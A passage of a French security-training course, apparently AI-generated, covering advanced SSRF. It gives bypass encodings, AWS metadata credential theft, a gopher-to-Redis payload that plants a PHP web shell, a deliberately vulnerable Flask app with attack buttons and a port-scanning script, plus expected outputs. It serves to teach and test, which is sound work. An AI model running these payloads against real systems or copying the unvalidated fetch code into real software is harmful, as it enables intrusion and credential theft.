[OK] Audit logs des accès
[OK] Principe du moindre privilège
```

---

## [BRAVO] FÉLICITATIONS ! 5 FAILLES SUPPLÉMENTAIRES COMPLÉTÉES !

Nous avons maintenant couvert **25 EXERCICES** au total :

1-19. Exercices originaux [OK]
20. SSTI [OK]
21. Race Conditions [OK]
22. File Upload Vulnerabilities [OK]
23. IDOR Advanced [OK]

**Voulez-vous continuer avec une dernière faille avancée ou faire un récapitulatif général complet ?** [OBJECTIF]

# 23. SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que SSRF (révision avancée) ?

**Définition :**
Vulnérabilité permettant à un attaquant de **forcer le serveur à faire des requêtes HTTP** vers des destinations arbitraires (internes ou externes), contournant les firewalls et accédant à des ressources normalement inaccessibles.

**Analogie avancée :**

Imagine un service de coursier d'entreprise :
- **SSRF Basique** : Tu demandes au coursier d'aller chercher un document au 5ème étage (interne)
- **SSRF avec Bypass** : Tu dis "va à 192.168.1.1" mais le coursier refuse les IPs -> Tu utilises "localhost" ou "0.0.0.0" ou "127.1" (bypass)
- **Blind SSRF** : Le coursier ne te dit pas ce qu'il a trouvé, mais tu sais s'il a réussi ou échoué
- **SSRF Cloud** : Le coursier va au bureau du DSI et récupère TOUTES les clés AWS (metadata)
- **DNS Rebinding** : Tu donnes une adresse qui change entre la vérification et l'exécution

-> Dans tous les cas : **utiliser le serveur comme proxy** pour atteindre des ressources protégées !

---

## [RECHERCHE] TECHNIQUES AVANCÉES DE SSRF

### 1. **SSRF vers AWS Metadata (Cloud)**

**Principe :** Services cloud exposent des endpoints metadata accessibles seulement depuis l'instance.

**AWS Metadata endpoint :**

```
http://169.254.169.254/latest/meta-data/
```

**Exploitation :**

```python
# URL SSRF
http://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/

# Récupérer IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Résultat
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUt...",
  "Token": "IQoJb3JpZ...",
  "Expiration": "2024-01-09T12:00:00Z"
}
```

**Impact :** Accès complet au compte AWS !

---

### 2. **SSRF Bypass Techniques**

#### **a) Blacklist Bypass**

**Blacklist naïve :**

```python
# [X] Blacklist vulnérable
blocked = ['127.0.0.1', 'localhost', '169.254.169.254']

if any(blocked_url in url for blocked_url in blocked):
    raise Exception("Blocked")
```

**Bypass :**

```python
# Encodages alternatifs
127.0.0.1       -> 127.1 (notation courte)
127.0.0.1       -> 2130706433 (décimal)
127.0.0.1       -> 0x7f000001 (hexadécimal)
127.0.0.1       -> 0177.0.0.1 (octal)
localhost       -> localtest.me (résout vers 127.0.0.1)
localhost       -> 127.0.0.1.nip.io

# URL encoding
127.0.0.1       -> 127.0.0.%31
localhost       -> %6c%6f%63%61%6c%68%6f%73%74

# Case manipulation
LocalHost
LOCALHOST
lOcAlHoSt

# IPv6
::1
::ffff:127.0.0.1

# DNS tricks
attacker.com    -> CNAME -> 169.254.169.254
```

---

#### **b) Redirect Chain**

**Principe :** Redirection HTTP pour contourner les validations.

```python
# Serveur attaquant (attacker.com)
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
```

**Exploitation :**

```
1. Attaquant contrôle attacker.com
2. SSRF: http://vulnerable.com/fetch?url=http://attacker.com
3. attacker.com redirige vers 169.254.169.254
4. Le serveur vulnérable suit la redirection
5. [OK] Metadata AWS récupéré !
```

---

#### **c) DNS Rebinding**

**Principe :** Changer la résolution DNS entre la validation et l'exécution.

```
1. Validation: evil.com -> 1.2.3.4 (public) [OK] OK
2. Attendre TTL expire
3. Exécution: evil.com -> 127.0.0.1 (interne)
4. [OK] SSRF vers localhost !
```

---

### 3. **Blind SSRF**

**Principe :** Pas de réponse directe, mais détecter via side-channels.

**Méthodes de détection :**

```python
# 1. Time-based
# Si service interne répond lentement
url = "http://internal-service:8080/slow-endpoint"
-> Réponse après 10 secondes = service existe

# 2. Out-of-band (OOB)
# DNS callback
url = "http://unique-id.attacker.com"
-> Si DNS query reçue = SSRF fonctionne

# 3. Error-based
url = "http://internal-service:22"
-> "Connection refused" = service existe mais port fermé
url = "http://internal-service:80"
-> "Invalid HTTP response" = service HTTP existe
```

---

### 4. **SSRF via Protocol Smuggling**

**Principe :** Utiliser des protocols non-HTTP.

```python
# File protocol
file:///etc/passwd

# FTP protocol
ftp://internal-ftp-server/

# Gopher protocol (TCP streams)
gopher://127.0.0.1:6379/_
SET exploit "<?php system($_GET['cmd']); ?>"

# SMTP
dict://127.0.0.1:25/
MAIL FROM:<attacker@evil.com>

# LDAP
ldap://127.0.0.1:389/dc=example,dc=com
```

---

### 5. **SSRF Chain (multi-étapes)**

**Scénario d'attaque avancé :**

```
1. SSRF -> AWS Metadata -> Récupérer IAM credentials
2. IAM credentials -> Accès S3 -> Lister buckets
3. S3 -> Télécharger code source avec DB credentials
4. DB credentials -> Connexion base de données
5. Database -> Dumper toutes les données
```

---

### 6. **SSRF via Image Processing**

**Principe :** Bibliothèques d'images peuvent faire des requêtes.

```python
# ImageMagick
# Fichier SVG malveillant
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

# ImageTragick exploit
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'http://internal-service/'
pop graphic-context
```

---

### 7. **SSRF via PDF Generation**

**Principe :** Générateurs PDF peuvent charger des ressources externes.

```html
<!-- HTML to PDF -->
<img src="http://169.254.169.254/latest/meta-data/">

<link rel="stylesheet" href="http://internal-service/styles.css">

<iframe src="http://localhost:8080/admin"></iframe>
```

---

### Cas réels avancés

**1. Capital One Breach (2019) - SSRF -> AWS Metadata**

**Faille :** SSRF dans application web

```
http://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

**Impact :** 
- 100 millions de comptes compromis
- 140,000 numéros de sécurité sociale
- Données de cartes de crédit
- **Dommages :** $80 millions d'amende

---

**2. Verizon Media (2019) - SSRF Chain**

**Faille :** SSRF -> Redis -> RCE

```
gopher://127.0.0.1:6379/_
SET malicious "<?php system($_GET['c']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
```

**Impact :** RCE sur serveurs Verizon

---

**3. Uber (2018) - SSRF to AWS**

**Faille :** SSRF dans système de génération de rapports

**Impact :** Accès aux buckets S3 internes

**Bounty :** $10,000

---

**4. Google (2020) - SSRF via Redirect**

**Faille :** Service suit redirections sans validation

**Bounty :** $13,337

---

**5. GitLab (2021) - SSRF via Import**

**Faille :** Import de projets externes sans validation URL

**CVE-2021-22214** - CRITICAL (9.6)

---

## [CODE] EXERCICE 25 : SSRF ADVANCED

### Objectif

Application complète avec :
- Service de screenshot (URL -> image)
- Import de données externes (API, RSS)
- Image processing (upload + resize)
- PDF generation
- Webhook configuration
- Services internes simulés (Redis, MySQL, AWS metadata)
- Démonstration de toutes les techniques SSRF
- Protection complète

---

### PARTIE A : INFRASTRUCTURE SIMULÉE

**1. Services internes simulés :**

```python
# internal_services.py
from flask import Flask, request, jsonify
import json

# Service 1: Admin Panel (port 8001)
admin_app = Flask(__name__)

@admin_app.route('/admin')
def admin_panel():
    return '''
    <h1>Admin Panel</h1>
    <p>Database Password: super_secret_db_pass_123</p>
    <p>API Keys: sk_live_abc123xyz789</p>
    '''

# Service 2: AWS Metadata Mock (port 8002)
metadata_app = Flask(__name__)

@metadata_app.route('/latest/meta-data/')
def metadata_root():
    return 'ami-id\niam\ninstance-id\npublic-keys\n'

@metadata_app.route('/latest/meta-data/iam/security-credentials/')
def iam_roles():
    return 'web-server-role\n'

@metadata_app.route('/latest/meta-data/iam/security-credentials/web-server-role')
def iam_credentials():
    return json.dumps({
        "Code": "Success",
        "LastUpdated": "2024-01-08T12:00:00Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "ASIATESTACCESSKEY123",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Token": "IQoJb3JpZ2luX2VjEG8aCXVzLWVhc3QtMSJIMEYCIQD...",
        "Expiration": "2024-01-09T12:00:00Z"
    })

# Service 3: Internal API (port 8003)
api_app = Flask(__name__)

@api_app.route('/api/users')
def get_users():
    return jsonify({
        'users': [
            {'id': 1, 'email': 'admin@internal.local', 'ssn': '123-45-6789'},
            {'id': 2, 'email': 'user@internal.local', 'ssn': '987-65-4321'}
        ]
    })

@api_app.route('/api/config')
def get_config():
    return jsonify({
        'database': {
            'host': 'db.internal.local',
            'user': 'root',
            'password': 'RootPassword123!'
        },
        'smtp': {
            'host': 'smtp.internal.local',
            'user': 'noreply@company.com',
            'password': 'EmailPass456!'
        }
    })

if __name__ == '__main__':
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python internal_services.py [admin|metadata|api]")
        sys.exit(1)
    
    service = sys.argv[1]
    
    if service == 'admin':
        print("[SECURISE] Admin Panel on http://127.0.0.1:8001")
        admin_app.run(port=8001)
    elif service == 'metadata':
        print("[CLOUD]  AWS Metadata Mock on http://127.0.0.1:8002")
        metadata_app.run(port=8002)
    elif service == 'api':
        print("[PLUGIN] Internal API on http://127.0.0.1:8003")
        api_app.run(port=8003)
```

**Lancer les services :**

```bash
# Terminal 1
python internal_services.py admin

# Terminal 2
python internal_services.py metadata

# Terminal 3
python internal_services.py api
```

---

### PARTIE B : APPLICATION VULNÉRABLE

```python
# ssrf_advanced_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import requests
import urllib.parse
from PIL import Image
from io import BytesIO
import base64
import subprocess
import os

app = Flask(__name__)
CORS(app)

# [X] Configuration dangereuse
ALLOWED_DOMAINS = ['example.com', 'trusted-site.com']  # [X] Bypass possible

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>SSRF Advanced Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1600px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 500px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
            word-break: break-all;
        }
        img {
            max-width: 100%;
            border-radius: 5px;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[WEB] Web Services Platform</h1>
            <p>Advanced SSRF Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES SSRF AVANCÉS
        </div>
        
        <div class="grid">
            <!-- SCREENSHOT SERVICE -->
            <div class="card">
                <h3>[CAMERA_WITH_FLASH] Screenshot Service</h3>
                <input type="text" id="screenshot-url" placeholder="URL to screenshot" value="https://example.com">
                <button onclick="takeScreenshot()">Take Screenshot</button>
                <div id="screenshot-result"></div>
            </div>
            
            <!-- FETCH API -->
            <div class="card">
                <h3>[PLUGIN] Fetch External API</h3>
                <input type="text" id="fetch-url" placeholder="API URL" value="https://api.github.com/users/github">
                <button onclick="fetchAPI()">Fetch Data</button>
            </div>
            
            <!-- IMAGE RESIZE -->
            <div class="card">
                <h3>[FRAME_WITH_PICTURE] Image Resize Service</h3>
                <input type="text" id="image-url" placeholder="Image URL" value="https://via.placeholder.com/300">
                <input type="number" id="image-width" placeholder="Width" value="150">
                <button onclick="resizeImage()">Resize Image</button>
                <div id="resize-result"></div>
            </div>
            
            <!-- WEBHOOK -->
            <div class="card">
                <h3>[NOTIF] Configure Webhook</h3>
                <input type="text" id="webhook-url" placeholder="Webhook URL" value="https://webhook.site/unique-id">
                <textarea id="webhook-payload" rows="3">{"event": "test", "data": "hello"}</textarea>
                <button onclick="testWebhook()">Test Webhook</button>
            </div>
            
            <!-- PDF GENERATION -->
            <div class="card">
                <h3>[FICHIER] Generate PDF Report</h3>
                <textarea id="pdf-html" rows="4"><h1>Report</h1>
<img src="https://via.placeholder.com/200"></textarea>
                <button onclick="generatePDF()">Generate PDF</button>
            </div>
            
            <!-- RSS IMPORTER -->
            <div class="card">
                <h3>[RESEAU] Import RSS Feed</h3>
                <input type="text" id="rss-url" placeholder="RSS Feed URL" value="https://feeds.bbci.co.uk/news/rss.xml">
                <button onclick="importRSS()">Import Feed</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] SSRF Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. SSRF -> Internal Admin Panel</h4>
                <p>URL: <code>http://127.0.0.1:8001/admin</code></p>
                <button onclick="attackInternalAdmin()">Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>2. SSRF -> AWS Metadata</h4>
                <p>URL: <code>http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/web-server-role</code></p>
                <button onclick="attackAWSMetadata()">Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>3. SSRF -> Internal API</h4>
                <p>URL: <code>http://127.0.0.1:8003/api/config</code></p>
                <button onclick="attackInternalAPI()">Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>4. SSRF Bypass - Blacklist Evasion</h4>
                <p>Try: <code>127.1</code>, <code>0x7f000001</code>, <code>2130706433</code></p>
                <button onclick="attackBlacklistBypass()">Test Bypasses</button>
            </div>
            
            <div class="attack-item">
                <h4>5. SSRF via URL Parsing Confusion</h4>
                <p>URL: <code>http://trusted-site.com@127.0.0.1:8001/admin</code></p>
                <button onclick="attackURLParsing()">Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>6. SSRF Chain - Multi-Step</h4>
                <p>Admin -> Metadata -> API -> Exfiltrate</p>
                <button onclick="attackChain()">Execute Chain</button>
            </div>
            
            <div class="attack-item">
                <h4>7. Blind SSRF - Port Scanning</h4>
                <p>Scan internal ports via timing</p>
                <button onclick="attackPortScan()">Scan Ports</button>
            </div>
        </div>
    </div>
    
    <script>
        async function takeScreenshot() {
            const url = document.getElementById('screenshot-url').value;
            const output = document.getElementById('output');
            const result = document.getElementById('screenshot-result');
            
            output.textContent = 'Taking screenshot...';
            
            try {
                const response = await fetch('/api/screenshot', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ url })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.image) {
                    result.innerHTML = '<img src="data:image/png;base64,' + data.image + '">';
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function fetchAPI() {
            const url = document.getElementById('fetch-url').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Fetching...';
            
            try {
                const response = await fetch('/api/fetch', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ url })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function resizeImage() {
            const url = document.getElementById('image-url').value;
            const width = document.getElementById('image-width').value;
            const output = document.getElementById('output');
            const result = document.getElementById('resize-result');
            
            output.textContent = 'Resizing image...';
            
            try {
                const response = await fetch('/api/resize', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ url, width: parseInt(width) })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.image) {
                    result.innerHTML = '<img src="data:image/png;base64,' + data.image + '">';
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function testWebhook() {
            const url = document.getElementById('webhook-url').value;
            const payload = document.getElementById('webhook-payload').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Testing webhook...';
            
            try {
                const response = await fetch('/api/webhook', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ url, payload: JSON.parse(payload) })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function generatePDF() {
            const html = document.getElementById('pdf-html').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Generating PDF...';
            
            try {
                const response = await fetch('/api/pdf', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ html })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function importRSS() {
            const url = document.getElementById('rss-url').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Importing RSS feed...';
            
            try {
                const response = await fetch('/api/rss', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ url })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        // Attack functions
        async function attackInternalAdmin() {
            document.getElementById('fetch-url').value = 'http://127.0.0.1:8001/admin';
            await fetchAPI();
        }
        
        async function attackAWSMetadata() {
            document.getElementById('fetch-url').value = 'http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/web-server-role';
            await fetchAPI();
        }
        
        async function attackInternalAPI() {
            document.getElementById('fetch-url').value = 'http://127.0.0.1:8003/api/config';
            await fetchAPI();
        }
        
        async function attackBlacklistBypass() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Testing blacklist bypasses...\\n\\n';
            
            const bypasses = [
                'http://127.1:8001/admin',
                'http://0x7f000001:8001/admin',
                'http://2130706433:8001/admin',
                'http://127.0.0.1:8001/admin',
                'http://localhost:8001/admin'
            ];
            
            for (const url of bypasses) {
                try {
                    const response = await fetch('/api/fetch', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ url })
                    });
                    
                    const data = await response.json();
                    
                    if (data.content && data.content.includes('Admin Panel')) {
                        output.textContent += `[OK] BYPASS WORKED: ${url}\\n`;
                    } else {
                        output.textContent += `[X] Blocked: ${url}\\n`;
                    }
                } catch (e) {
                    output.textContent += `[X] Error: ${url}\\n`;
                }
            }
        }
        
        async function attackURLParsing() {
            // URL parsing confusion
            document.getElementById('fetch-url').value = 'http://trusted-site.com@127.0.0.1:8001/admin';
            await fetchAPI();
        }
        
        async function attackChain() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] SSRF Chain Attack...\\n\\n';
            
            // Step 1: Access admin panel
            output.textContent += 'Step 1: Accessing admin panel...\\n';
            let response = await fetch('/api/fetch', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ url: 'http://127.0.0.1:8001/admin' })
            });
            let data = await response.json();
            output.textContent += `[OK] Found: ${data.content?.substring(0, 100)}...\\n\\n`;
            
            // Step 2: Access AWS metadata
            output.textContent += 'Step 2: Fetching AWS credentials...\\n';
            response = await fetch('/api/fetch', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ url: 'http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/web-server-role' })
            });
            data = await response.json();
            output.textContent += `[OK] AWS Creds: ${data.content?.substring(0, 100)}...\\n\\n`;
            
            // Step 3: Access internal API
            output.textContent += 'Step 3: Accessing internal API config...\\n';
            response = await fetch('/api/fetch', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ url: 'http://127.0.0.1:8003/api/config' })
            });
            data = await response.json();
            output.textContent += `[OK] DB Config: ${data.content?.substring(0, 100)}...\\n\\n`;
            
            output.textContent += '[ALERTE] FULL INFRASTRUCTURE COMPROMISED!';
        }
        
        async function attackPortScan() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] Internal Port Scanning...\\n\\n';
            
            const ports = [21, 22, 80, 443, 3306, 5432, 6379, 8001, 8002, 8003, 8080, 27017];
            
            for (const port of ports) {
                const start = Date.now();
                
                try {
                    await fetch('/api/fetch', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ url: `http://127.0.0.1:${port}` })
                    });
                    
                    const elapsed = Date.now() - start;
                    
                    if (elapsed < 1000) {
                        output.textContent += `Port ${port}: OPEN (${elapsed}ms)\\n`;
                    } else {
                        output.textContent += `Port ${port}: FILTERED/CLOSED (${elapsed}ms)\\n`;
                    }
                } catch (e) {
                    output.textContent += `Port ${port}: ERROR\\n`;
                }
            }
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Screenshot Service
@app.route('/api/screenshot', methods=['POST'])
def screenshot_vulnerable():
    """
    [X] SSRF via screenshot (simulated)
    """
    data = request.json
    url = data.get('url', '')
    
    # [X] ERREUR : Pas de validation
    try:
        # Simuler screenshot en fetchant l'URL
        response = requests.get(url, timeout=5)
        
        # Créer image dummy
        img = Image.new('RGB', (800, 600), color='white')
        
        # Convertir en base64
        buffer = BytesIO()
        img.save(buffer, format='PNG')
        img_str = base64.b64encode(buffer.getvalue()).decode()
        
        return jsonify({
            'success': True,
            'image': img_str,
            'url': url,
            'content_preview': response.text[:200]
        })
        
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE 2 : Fetch API
@app.route('/api/fetch', methods=['POST'])
def fetch_api_vulnerable():
    """
    [X] SSRF classique : Fetch n'importe quelle URL
    """
    data = request.json
    url = data.get('url', '')
    
    # [X] ERREUR : Validation faible
    parsed = urllib.parse.urlparse(url)
    
    # [X] Blacklist bypass possible
    if parsed.hostname in ['127.0.0.1', 'localhost', '169.254.169.254']:
        return jsonify({'error': 'Blocked domain'}), 403
    
    try:
        # [X] Suit les redirections (danger!)
        response = requests.get(url, timeout=5, allow_redirects=True)
        
        return jsonify({
            'success': True,
            'status_code': response.status_code,
            'content': response.text[:1000],
            'headers': dict(response.headers)
        })
        
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE 3 : Image Resize
@app.route('/api/resize', methods=['POST'])
def resize_image_vulnerable():
    """
    [X] SSRF via image processing
    """
    data = request.json
    url = data.get('url', '')
    width = data.get('width', 300)
    
    try:
        # [X] Fetch image sans validation
        response = requests.get(url, timeout=5)
        
        img = Image.open(BytesIO(response.content))
        
        # Resize
        aspect_ratio = img.height / img.width
        new_height = int(width * aspect_ratio)
        img_resized = img.resize((width, new_height))
        
        # Convert to base64
        buffer = BytesIO()
        img_resized.save(buffer, format='PNG')
        img_str = base64.b64encode(buffer.getvalue()).decode()
        
        return jsonify({
            'success': True,
            'image': img_str
        })
        
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE 4 : Webhook
@app.route('/api/webhook', methods=['POST'])
def webhook_vulnerable():
    """
    [X] SSRF via webhook configuration
    """
    data = request.json
    url = data.get('url', '')
    payload = data.get('payload', {})
    
    try:
        # [X] POST vers URL arbitraire
        response = requests.post(url, json=payload, timeout=5)
        
        return jsonify({
            'success': True,
            'status_code': response.status_code,
            'response': response.text[:500]
        })
        
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE 5 : PDF Generation
@app.route('/api/pdf', methods=['POST'])
def pdf_vulnerable():
    """
    [X] SSRF via PDF generation (HTML -> PDF)
    """
    data = request.json
    html = data.get('html', '')
    
    # [X] HTML peut contenir des URLs externes
    # Simuler génération PDF
    
    # Parser HTML pour extraire URLs
    import re
    urls = re.findall(r'src=["\']([^"\']+)["\']', html)
    
    fetched = []
    for url in urls:
        try:
            # [X] Fetch chaque ressource
            response = requests.get(url, timeout=3)
            fetched.append({
                'url': url,
                'status': response.status_code,
                'content_length': len(response.content)
            })
        except:
            pass
    
    return jsonify({
        'success': True,
        'pdf': 'base64_pdf_content_here',
        'resources_fetched': fetched
    })

# [X] ROUTE VULNÉRABLE 6 : RSS Import
@app.route('/api/rss', methods=['POST'])
def rss_vulnerable():
    """
    [X] SSRF via RSS feed import
    """
    data = request.json
    url = data.get('url', '')
    
    try:
        # [X] Fetch RSS sans validation
        response = requests.get(url, timeout=5)
        
        # Parser RSS (simplifié)
        import xml.etree.ElementTree as ET
        
        root = ET.fromstring(response.content)
        
        items = []
        for item in root.findall('.//item')[:5]:
            title = item.find('title')
            link = item.find('link')
            items.append({
                'title': title.text if title is not None else '',
                'link': link.text if link is not None else ''
            })
        
        return jsonify({
            'success': True,
            'items': items
        })
        
    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    print("[RAPIDE] SSRF Advanced (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples SSRF Avancés !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Screenshot service - SSRF via URL fetch")
    print("   2. API fetch - Blacklist bypass possible")
    print("   3. Image resize - SSRF via image URL")
    print("   4. Webhook - SSRF via POST request")
    print("   5. PDF generation - SSRF via HTML resources")
    print("   6. RSS import - SSRF via XML parsing")
    print("   7. No redirect validation")
    print("   8. Weak blacklist (127.0.0.1 only)")
    print("\n[OUTIL] Lancer d'abord les services internes :")
    print("   python internal_services.py admin")
    print("   python internal_services.py metadata")
    print("   python internal_services.py api")
    
    app.run(debug=True, port=5000)
```

---

**Prêt pour la PARTIE C (version sécurisée) et les tests d'exploitation ?** [SECURITE]

### PARTIE B : TESTER LES ATTAQUES (suite)

**1. Lancer les services internes :**

```bash
# Terminal 1 - Admin Panel
python internal_services.py admin

# Terminal 2 - AWS Metadata Mock
python internal_services.py metadata

# Terminal 3 - Internal API
python internal_services.py api

# Terminal 4 - Application vulnérable
python ssrf_advanced_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

---

**3. Test Attack 1 - SSRF vers Admin Panel :**

- Cliquer "Attack" dans section "SSRF -> Internal Admin Panel"
- Ou manuellement :
  - Fetch URL : `http://127.0.0.1:8001/admin`
  - Cliquer "Fetch Data"

**Résultat :**
```json
{
  "success": true,
  "content": "<h1>Admin Panel</h1>\n<p>Database Password: super_secret_db_pass_123</p>\n<p>API Keys: sk_live_abc123xyz789</p>"
}
```

**[OK] Accès au panel admin interne !**

---

**4. Test Attack 2 - SSRF vers AWS Metadata :**

- URL : `http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/web-server-role`

**Résultat :**
```json
{
  "success": true,
  "content": "{\"AccessKeyId\":\"ASIATESTACCESSKEY123\",\"SecretAccessKey\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\"Token\":\"IQoJb3JpZ2luX2VjEG8a...\"}"
}
```

**[OK] Credentials AWS exposés !**

---

**5. Test Attack 3 - SSRF vers Internal API :**

- URL : `http://127.0.0.1:8003/api/config`

**Résultat :**
```json
{
  "success": true,
  "content": "{\"database\":{\"host\":\"db.internal.local\",\"user\":\"root\",\"password\":\"RootPassword123!\"},\"smtp\":{\"password\":\"EmailPass456!\"}}"
}
```

**[OK] Credentials database et SMTP volés !**

---

**6. Test Attack 4 - Blacklist Bypass :**

- Cliquer "Test Bypasses"

**Résultat :**
```
[DANGER] Testing blacklist bypasses...

[OK] BYPASS WORKED: http://127.1:8001/admin
[OK] BYPASS WORKED: http://0x7f000001:8001/admin
[OK] BYPASS WORKED: http://2130706433:8001/admin
[X] Blocked: http://127.0.0.1:8001/admin
[X] Blocked: http://localhost:8001/admin
```

**[OK] Blacklist contournée avec encodages alternatifs !**

---

**7. Test Attack 5 - SSRF Chain :**

- Cliquer "Execute Chain"

**Résultat :**
```
[DANGER] SSRF Chain Attack...

Step 1: Accessing admin panel...
[OK] Found: <h1>Admin Panel</h1>...

Step 2: Fetching AWS credentials...
[OK] AWS Creds: {"AccessKeyId":"ASIATE...

Step 3: Accessing internal API config...
[OK] DB Config: {"database":{"host":"db...

[ALERTE] FULL INFRASTRUCTURE COMPROMISED!
```

**[OK] Chaîne d'attaque complète réussie !**

---

**8. Test Attack 6 - Port Scanning (Blind SSRF) :**

- Cliquer "Scan Ports"

**Résultat :**
```
[DANGER] Internal Port Scanning...

Port 21: FILTERED/CLOSED (1200ms)
Port 22: FILTERED/CLOSED (1150ms)
Port 80: FILTERED/CLOSED (1100ms)
Port 8001: OPEN (45ms)
Port 8002: OPEN (52ms)
Port 8003: OPEN (48ms)
